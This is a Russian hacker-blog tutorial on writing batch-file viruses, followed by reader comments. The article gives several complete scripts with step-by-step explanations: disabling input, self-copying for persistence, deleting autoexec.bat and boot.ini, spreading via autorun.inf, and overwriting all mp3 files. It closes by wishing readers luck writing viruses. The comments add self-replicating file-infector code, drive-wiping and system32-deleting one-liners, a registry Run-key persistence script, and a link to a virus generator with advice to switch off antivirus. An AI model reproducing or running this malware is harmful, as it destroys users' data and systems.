Меню
Категории
BAT-вирус своими руками
9 ноября, 2007 Вирусы

Привет тебе снова, юный кодер-шкодер. Если ты читал прошлую мою статью под названием “Учим ДОС”, то ничего сложного тут для тебя не будет. А если не читал, то внимательно смотри комментарии. Итак, начнем. Сижу я однажды и думаю: а не накатать ли мне вирус? А так как кроме QБарсика я ничего не знал, а ДОС был моим вторым … [Братом], а ты что подумал извращенец? :)~. ТО я решил писать вирус на нем, и оказалось это не так трудно.

Вот тело моего первого вируса

@echo off
rundll32 keyboard,disable
rundll32 mouse,disable
copy %0 %windir%/system
echo run=%windir%/system/*.bat >> win.ini
echo run=%windir%/system/*.bat >> system.ini
label LOHOLAMMER
if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r
deltree /y c:\autoexec.bat > nul
echo autoexec.bat echo YOU ARE LAMMER…xe-xe-xe > c:\autoexec.bat
rundll32 mouse,enable
rundll32 keyboard,enable
echo var WSHShell = WScript.CreateObject(“WScript.Shell”); > %temp%\mes.js
echo WSHShell.Popup(“Warning,.. Ваш компьютер заражен вирусом, а избавиться от него нельзя, хе-хе-хе”); >> %temp%\mes.js
start %temp%\mes.js
deltree /y %temp%\mes.js
attrib c:\autoexec.bat +h +s +a +r
pause
cls

Объясняю популярно и по шагам:

1 @echo off – Запрещаем ДОСовскому окошку показывать, что делает скрипт.
2 rundll32 keyboard,disable – Отключаем клаву, на случай если юзер поймет что происходит и надумает нажать CTRL+C
3 rundll32 mouse,disable – Отключаем мышь тоже на всякий.
4 copy %0 %windir%/system – Копируемся в папку windows/system
// %0 – Переменная, указывающая на исходный файл-вирус
// %windir% – переменная папка масдая.
5 echo run=%windir%/system/*.bat >> %windir%\win.ini – Добавляет текст “run=%windir%/system/*.bat” в файл win.ini
6 echo run=%windir%/system/*.bat >> %windir%\system.ini – Добавляет текст “run=%windir%/system/*.bat” в файл system.ini
7 label LOHOLAMMER – Меняет имя диску c:\ на “LOHOLAMMER”
8 if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r – Проверяем если есть файл c:\autoexec.bat то убираем
//у него атрибуты -h -s -a -r
9 deltree /y c:\autoexec.bat – Удаляем файл c:\autoexec.bat , если не убрать атрибуты, то программа не удалит файл.
10 echo autoexec.bat echo YOU ARE LAMMER…xe-xe-xe > c:\autoexec.bat – Добавить текст “YOU ARE LAMMER…xe-xe-xe”
//в новый файл autoexec.bat
11 rundll32 mouse,enable – Включаем, пускай думает, что ниче не было.
12 rundll32 keyboard,enable – Включаем, пускай думает, что ниче не было.
13 echo var WSHShell = WScript.CreateObject(“WScript.Shell”); > %temp%\mes.js
echo WSHShell.Popup(“Warning,.. Ваш компьютер заражен вирусом, а избавиться от него нельзя, хе-хе-хе”); >> %temp%\mes.js
start %temp%\mes.js. //Этот текст выводит масдайное окно с надписью
deltree /y %temp%\mes.js //А потом стирает за собой следы.
14 attrib c:\autoexec.bat +h +s +a +r – Делает файл c:\autoexec.bat скрытым и системный чтоб ламер ничего не заподозрил.
15 pause – Просим нажать любую клавишу (Не обязательно нажимать ведь вирь уже сделал свое дело.)
16 cls – Выходим

Эта программа, при следующей перезагрузке не даст загрузиться виндовсу и будет писать ‘Вы ламер.’ .Работает только в винде до 2000.

Идем дальше, пишем новый вирус. Те функции, которые были упомянуты уже, не будут объясняться заново. Это просто усовершенствованная версия прошлого вируса.

@echo off
rundll32 user,setcursorpos //Убираем с экрана курсор в левый угол
rundll32 keyboard,disable //Было
rundll32 mouse,disable //Было
rundll32 user,swapmousebutton. //Тут мы переставляем кнопки мыши
echo Обновление параметров системы, пожалуйста подождите… //пишет отмазку :)
label mp_k //Меняем имя диску
copy mp_k.exe %windir% //Копирует себя в папку windows
if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r
deltree /y c:\autoexec.bat
if exist c:\io.sys echo autoexec.bat echo YOU_ARE_LAMMER….[]=[_H@CKED_BY_[kas]*_”SmallPox_Vir_Org”_] > c:\autoexec.bat
echo run = %windir%\mp_k.exe >> %windir%\win.ini
echo run = %windir%\mp_k.exe >> %windir%\system.ini
echo [AutoRun] > c:\autorun.inf //Эти операции есть в прошлом вирусе.
echo open=c:\autoexec.bat > c:\autorun.inf
echo [AutoRun] > d:\autorun.inf
echo open=c:\autoexec.bat > d:\autorun.inf
rundll32 mouse,enable
rundll32 keyboard,enable
echo var WSHShell = WScript.CreateObject(“WScript.Shell”); > %temp%\mes.js
echo WSHShell.Popup(“Warning,.. А теперь необходимо перезагрузиться”); >> %temp%\mes.js
start %temp%\mes.js
deltree /y %temp%\mes.js
attrib c:\autoexec.bat +h +s +a +r
attrib %windir%\mp_k.exe +h +s +a +r
attrib c:\autorun.inf +h +s +a +r
attrib d:\autorun.inf +h +s +a +r
deltree /y mp_k.exe
rmdir %windir%\temp //Удаляем папку temp
mkdir %windir%\temp //Создаем папку temp
cls

А теперь, что-то новое.

@echo off
cls
echo Please wait, updating system…
ctty nul. //Это новая команда, она отключает вывод текста в окошке.
exist %WINDIR%\SYSTEM\VMM32\%0 goto :end //Если вирь уже запускался то пусть запустит себя снова.
copy %0 %WINDIR%\SYSTEM\VMM32
cd c:\ //Переходим в другую директорию
for %%a in (*.mp3 c:\*.mp3 c:\MUZ\*.mp3 c:\My Music\*.mp3 ..\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd My Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd My_Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd MyMusic
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd Музыка
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd Музон
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd MUZ
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd mp3
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd d:\
for %%a in (*.mp3 c:\*.mp3 c:\MUZ\*.mp3 c:\My Music\*.mp3 ..\*.mp3) do copy /y %0 %%a
cd My Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Тут тоже самое.
cd My_Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd MyMusic
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd Музыка
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd Музон
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd MUZ
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd mp3
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
:end //Метка
start /m /w %WINDIR%\SYSTEM\VMM32\%0 //Запуск в свернутом режиме
ctty con //Врубаем разрешение на показ текста в окне
echo Say goodbye your MP3 collection :)) Virus [BAT.kas.a] //Прощальные строки
cls //Выход.

Тут мало нового но уже что-то. Идем дальше. Накачал я с инета BAT-вирусов и начал их исследовать. И вот результаты:
Написал еще пару своих:

ctty nul //Было такое
REM Чй† Ђь@uoњPSQRVW
?
‹тЌ
” Q_ь№ у¦u=
є №є њъ.я?ђ л,ђ ///
copy %0 *.exe ///
copy %0 b.com>nul // Эта технология взята с вируса другово.
b.com. // Эти каракули перехватывают рабочие в данный момент файлы, и херит их.
del b.com. /// Это текст АСМ скомпиленого в exe
rem _^ZY[Xќњъ.я?ђ К ђђђђъ.я.ђ К ћ # @echoђё.5Н.Њ ‘ ‰?ђ Ќ ё.%Н.Ќ є Н’ђђ //
@echo off //
echo XEP_BAM //Пишем злобно и красиво.
if exist %windir%/%0.bat goto :end //Проверка виря на запускание, те был ли он запущен.
@rundll32 user,setcursorpos
ctty con //Было такое
echo Обновление параметров системы, пожалуйста подождите… //Отвлекаем.
@label BAT.c
copy %0.bat %windir% > nul
if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r
if exist c:\boot.ini attrib c:\boot.ini -h -s -a -r
deltree /y c:\autoexec.bat
deltree /y c:\boot.ini
if exist c:\autoexec.bat echo autoexec.bat echo YOU_ARE_LAMMER…. > c:\autoexec.bat
if exist c:\boot.ini echo autoexec.bat echo YOU_ARE_LAMMER…. > c:\boot.ini //Это для XP он там вместо autoexec.bat ;)
deltree /y %windir%/win.ini

copy %0 > %windir%/win.ini
deltree /y %windir%/system.ini
copy %0 > %windir%/system.ini
if exist c:\io.sys //Проверка наличия диска так как на каждом диске есть файл io.sys
echo [AutoRun] > c:\autorun.inf //И если он есть заразить его.
echo open=c:\autoexec.bat >> c:\autorun.inf //И если он есть заразить его.
if exist d:\io.sys //Проверка наличия диска
echo [AutoRun] > d:\autorun.inf //И если он есть заразить его.
echo open=c:\autoexec.bat >> d:\autorun.inf //И если он есть заразить его.
if exist e:\io.sys //Проверка наличия диска
echo [AutoRun] > e:\autorun.inf //И если он есть заразить его.
echo open=c:\autoexec.bat >> e:\autorun.inf //И если он есть заразить его.
:end //Метка СМ начало.
cls //Выход

О какие бывают вирусы. И на что только ни ухитряются вирусописатели, чтобы добиться нужного результата. Прочитав эту доку ты с уверенностью сможешь сам написать BAT вирус, даже лучше моего ;).Ну удачи тебе в написании вирей, а я отклонюсь и свалю пить пиво %-).

Статьи написаны исключительно для изучения алгоритмов работы вирусов и методов борьбы с ними. Алгоритмы работы вирусов были выявлены при декомпиляции найденных в интернете вирусов и на сайте Лаборатории Касперского.

225 комментариев
  1. Влад перезагрузка “shutdown -r” выключение “sutdown -s” если в конце еще написать “-t 0” то сразу

  2. Статья не очень, многие команды уже палятся каспером
    (например отключение клавы и мышки)

  3. так ну в контакт ето врядли…… ну помню одно .. незнаю получится такое с бат вирем или нет ну попробывать мона…. если аккуратно взломать страничку (ну если вы знаете другой способ редактировать коды страницы то пожалуста)бирем находим (не помню тосно как она выглядит…) команду кнопки (неимеет значение какой ну например просмотр фото) и пишим в ету кнопку вместо команды сам текст виря …. ну не отвечаю что получится но с писмами проходит ета фигня…. а да еще нюан помойму два языка програмирования низя в одной проги писать ну тогда делаем так… заносим какимнибудь макаром бат вирь в контакт типо в мои файлы (или че там за вкладки) а вместо кнопки пишем команду <> fail_Virko.bat ну или както так непомню точно команду ету…так чето еще забыл …. а если че потом добавлю….Shutdown -t 0 –s -Эта команда выключает компютер …. а если решил написать свой вирь на бесконечный перезапуск то нафиг его уже придумали…… вот кстати если хотите поугарать над кемнибудь вот так можно
    @echo off
    echo pizda ckompy а выведет текст хороший на икран
    label eban переименуем можно конечно так чтоб вместо С:\ писало ченить другое ну впадло писать
    assoc *.* loh.eblanko все файлы терь вот под таким название и таком формате …гыгы
    cd C:\ перейдем в католого С
    del sys.* а ето все ради прикола после етого ни мыш ни клава не запустятся
    del *.sys ну непомню сус ето формат или имя так что чтоб навернека

  4. мдя ну ти витал и лох….. даже добавить нечего….во первых эти команды палятся уже давно так как ета команда в основном в червях используется…. ну если хакер не ламер то можно сначала удалить касперского на такой случай… а да еще гдето видел такое помоему в макро вирусе команду против обноружения антивирусом….

  5. Люди а вы 3наете что можно обойтись и 5-ими строчками чтобы сломать всю систему)))

  6. ну и где твои 5 строчек просвяти народ епт)))

  7. тока винд сломать можно

  8. Ребят, конечно все красиво, но зачем все так усложнять? Зачем писать такой большой код? Посмотрел я все изложенные тут вирусы и убедился, что их результат работы – прекращение стабильной загрузки Windows, но зачем такой большой код, если для этого достаточно удалить всего один 1 файл? В корневом катологе загрузочного диска удаляете файл скрытый файл ntldr простой командой del… и все…

  9. кто знает какую команду в батнике прописать что бы выполняемый батник не выводил окно доса.
    я нашел ток через скрипт типа файл *.vbs с текстом
    Dim Shell

    set Shell = CreateObject(“WScript.Shell”)

    Shell.run “start.bat”,0,1

    Set Shell= Nothing

    запукает батник start.bat скрыто.

  10. ну и лол смотри
    @fomat C:\ /q
    вот и все нуб

  11. ВСЕ – ТУПОЙ, БЕСМЫССЛЕННЫЙ БРЕД. дс – какой то.

  12. vovfka запуск в свернутом режиметут гдето был написан глянь внимательно ктото уже писал

  13. Блять я етот вирус на себе запустил и нифига =(

  14. давай я вирь напишу охуееш…. тут просто есть удаленые модули поетому

  15. я долго ржал над другом

  16. здорова чуваки. я в школе все компы заразил этой хуйнёй,мой вирь
    запускается раз в 4 дня и заражает файлы почти всех форматов.Вот код для заражения:jpg,gif,mp3,midi,bat,ini,rar….короче что хотите.

    @echo off%[MrWeb]%
    if ‘%1==’In_ goto MrWebin
    if exist c:MrWeb.bat goto MrWebru
    if not exist %0 goto MrWeben
    find “MrWeb”c:MrWeb.bat
    attrib +h c:MrWeb.bat
    :MrWebru
    for %%g in (..*.jpg ..*.doc ..*.htm? *.jpg *.mp3 *.doc *.htm? *.xls) do call c:MrWeb In_ %%g
    goto MrWeben
    :MrWebin
    if exist %2.bat goto MrWeben
    type c:MrWeb.bat>>%2.bat
    echo start %2>>%2.bat%[MrWeb]%
    :MrWeben
    там где написаны форматы можно написать любые форматы какие хочеш

  17. мдяяяяяяя вот зачем ета строка «MrWeb»c:MrWeb.bat оператор find означает поиск
    и рас в 4 дня он не запустится… потом еще если висать куда нить %2 то просто сам себя запустит а не сам вирь вить дос не знает что имели ввиду програму которая суда ето вписала

  18. Вирус должен заражать, а не портить код жертвы. гуглите конструктор bat вирусов “BVGMIX” – он создает настоящие bat вирусы. Например:
    ————————–
    @echo off%[ViRuS]%
    set ViRuSorX=*.ba
    if ‘%1==’vnPY goto ViRuSKIQk
    if ‘%1==’uBwOLNA goto ViRuSAAy
    if exist c:\ViRuS.bat goto ViRuSkxQs
    if not exist %0 goto ViRuSGcy
    find “ViRuS”c:\ViRuS.bat
    attrib +h c:\ViRuS.bat
    :ViRuSkxQs
    for %%q in (.) do call c:\ViRuS.bat uBwOLNA %%~sq
    goto ViRuSGcy
    :ViRuSAAy
    for %%S in (%2\%ViRuSorX%t) do call c:\ViRuS.bat vnPY %%~sS
    goto ViRuSGcy
    :ViRuSKIQk
    find “ViRuS”nul
    if not errorlevel 1 goto ViRuSGcy
    echo.>>%2%[ViRuS]%
    type c:\ViRuS.bat>>%2
    :ViRuSGcy
    ————————-

  19. мля!!!самый простой вирь!!
    rd /s/q D:\WINDOWS\system32
    копируем его дядьке преподу его в автозагр. и все!!этого достаточно!!

  20. Привет всем.Люди напишите кто нибудь код чтоб вирус запускался сам в заданное время или дату,а то я такой вирусяку забабахал просто охереть можно,
    напишите кто нибудь плиззззззз,а то пиздец как надо.

  21. генератор вирусов кузя https://depositfiles.com/files/1qbgf1boj

  22. генератор просто супер тока перед скачиванием отключите антивиры !!!

  23. люди напишите кто нибудь код чтоб вирус сам запускался в заданное время или дату.очень надо!!!!!!!!

  24. а может кто нить подсказать как избавиться от этого ?? а то я лох запустил терь незнаю что делать!!! помогите плиз ася вот 485565809

  25. [red][blink]Хуйня это всё:)гггг[/blink][/red] [green][blink]Пишите на мыло, кому нужен bat вирусы… напишу любой![/blink][/green]

  26. аааааа сук…. не работает тут…. мля….

  27. Ну да, отключим антивирь и твой вирь попадет в нашу систему, отлично придумал :)

  28. кто может взломать счасливий фермер вконтакте прошу подскажите!

  29. pik[neac] поменяй файле иконку например как в папке!!

  30. JuseS +1 но для начала норм (поучится) даж нахожу для себя новым и интересным ^^

    Когда наткнулся на статейку редактировал свой тупой вирус^^:

    reg add “hkcu\software\microsoft\windows\currentVersion\run” /v DieInTheHell /t reg_sz /d “C:\temp\Mozilla\ByNickers.bat”
    cd C:\temp
    md Mozilla
    cd C:\temp\Mozilla //Не знаю почему но с %temp% накладка Т Т
    echo shutdown -s -f >>ByNickers.bat
    attrib ByNickers.bat +h
    shutdown -p -f

    еще не тестил…

1 2 3 4 8
Добавить комментарий




*